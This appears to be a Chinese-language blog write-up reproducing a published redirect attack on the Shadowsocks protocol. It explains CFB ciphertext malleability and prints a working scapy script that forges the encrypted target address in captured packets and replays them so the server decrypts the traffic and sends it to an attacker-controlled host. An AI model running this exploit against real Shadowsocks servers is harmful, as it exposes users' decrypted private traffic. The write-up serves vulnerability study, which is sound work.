Shadowsocks协议重定向攻击

Shadowsocks是一个基于SOCKS5的代理软件,其主要用途就不用解释了, 其协议存在漏洞,可以通过重定向攻击解密shadowsocks数据包密文。以下总结参考自Zhiniang Peng的研究成果

Shadowsocks工作原理

sslocal运行于本地,并监听某端口(默认1080)提供代理服务,ssserver运行于远程服务器,并监听某端口(默认8388)接收来自sslocal的数据

浏览器设置代理,所有请求首先发给sslocal,sslocal将数据进行加密后发给ssserver,ssserver解密数据包,并转发浏览器的请求,然后将结果加密返回,sslocal解密并返回给浏览器

client <—> ss-local <–[encrypted]–> ss-remote <—> target

可以通过pip安装python版Shadowsocks,在包存放路径下找到源码

python3 -m pip install shadowsocks

请求流程

sslocal通过发送以目标地址开头,后跟请求数据的包的密文来启动与ssserver的TCP连接

message=[target address][payload]

ciphertext=Stream_encrypt(key,IV,message)

最后发送的其实就是随机生成的16字节的IV+ciphertext

ssserver接收数据并解密

message=Stream_decrypt(key,IV,ciphertext)

并解析出[target address]。 然后与[target address]建立新的TCP连接,并向目标转发请求。ssserver接收到来自[target address]的回复,进行加密并将其转发回sslocal,直到sslocal断开连接

sslocal收到的数据也是

随机生成的16字节的IV+response的密文

Address 格式

第一个字节用以说明地址类型

  • 0x01:host是4字节的IPv4地址

  • 0x03:host是可变长度的字符串,以1个字节开头作为长度,后跟最多255个字节的域名

  • 0x04:host是一个16字节的IPv6地址

端口号是一个2字节无符号整数

[1-byte type][variable-length host][2-byte port]

AES-256-CFB

以AES-256-CFB加密方式为例

这种加密方式,明文和密文是等长的,解密过程如上。如果将密文的第一个块从c1修改为c1’,那么第一个明文块将从p1变为p1’,第二个分组的数据将会错误解密

他们的关系如下

c1’=xor(c1,r)
p1’=xor(p1,r)

请求重定向攻击

再回顾一下sslocal发送给ssserver的数据

IV+encrypt([target address][payload])

其中[payload]是加密的无法得知,但如果能控制[target address]并将其改为自己可控的服务器端[evil address]再将修改后的包发送给ssserver,那么ssserver岂不是帮我们解密了[payload]并且将请求转发到了[evil address]

假设使用的是IPv4地址,那么要构造一个[target address],就需要控制p1’的前7个字节,需要控制p1’的前7个字节就需要知道p1的前7个字节

而HTTP的响应包前7个字节是固定的,即HTTP/1.

攻击演示

服务端运行ssserver

客户端我用python版的时候有点小问题,所以就直接用这个了

用wireshark开始抓包,并使用curl通过代理请求百度,保存抓包结果p.pcapng

攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from scapy.all import rdpcap
import socket
import time

packets = rdpcap("p.pcapng")

#ssserver的ip和端口,用以筛选数据包和发送修改后的数据包
sport=8388
src="xx.xx.xx.xx"

#要转发的目标地址,用以接收解密后的数据
target_ip = "xx.xx.xx.xx"
target_port = 6666

for packet in packets:
if "TCP" in packet and packet['TCP'].payload:
#筛选一下数据包,需要ssserver返回给sslocal的数据包
if packet["IP"].src==src and packet["TCP"].sport==sport and len(packet['TCP'].payload.load)>16:
#分隔出16字节的随机IV和数据密文
recv_iv, recv_data=packet['TCP'].payload.load[:16],packet['TCP'].payload.load[16:]
#HTTP响应包的前7位固定是HTTP/1.
predict_data = b"HTTP/1."
#在关系式 c1'=xor(c1,r) p1'=xor(p1,r) 中,predict_xor_key相当于计算r
predict_xor_key = bytes([(predict_data[i] ^ recv_data[i]) for i in range(len(predict_data))])
#构造[evil address]
fake_header = b'\x01' + socket.inet_pton(socket.AF_INET, target_ip) + bytes(struct.pack('>H', target_port))
#计算[evil address]的密文
fake_header = bytes([(fake_header[i] ^ predict_xor_key[i]) for i in range(len(fake_header))])
#拼接修改后的数据
fake_data = recv_iv + fake_header + recv_data[len(fake_header):]
print(fake_data.hex())
s = socket.socket()
#将修改后的数据发送给ssserver
s.connect((src, sport))
s.send(fake_data)
print('Tcp sending... ')
time.sleep(3)
s.close()

在target_ip监听相应端口即可收到解密后的HTTP响应包

参考

Redirect attack on Shadowsocks stream ciphers

shadowsocks源码解读(一):基本流程

ss协议漏洞的复现和利用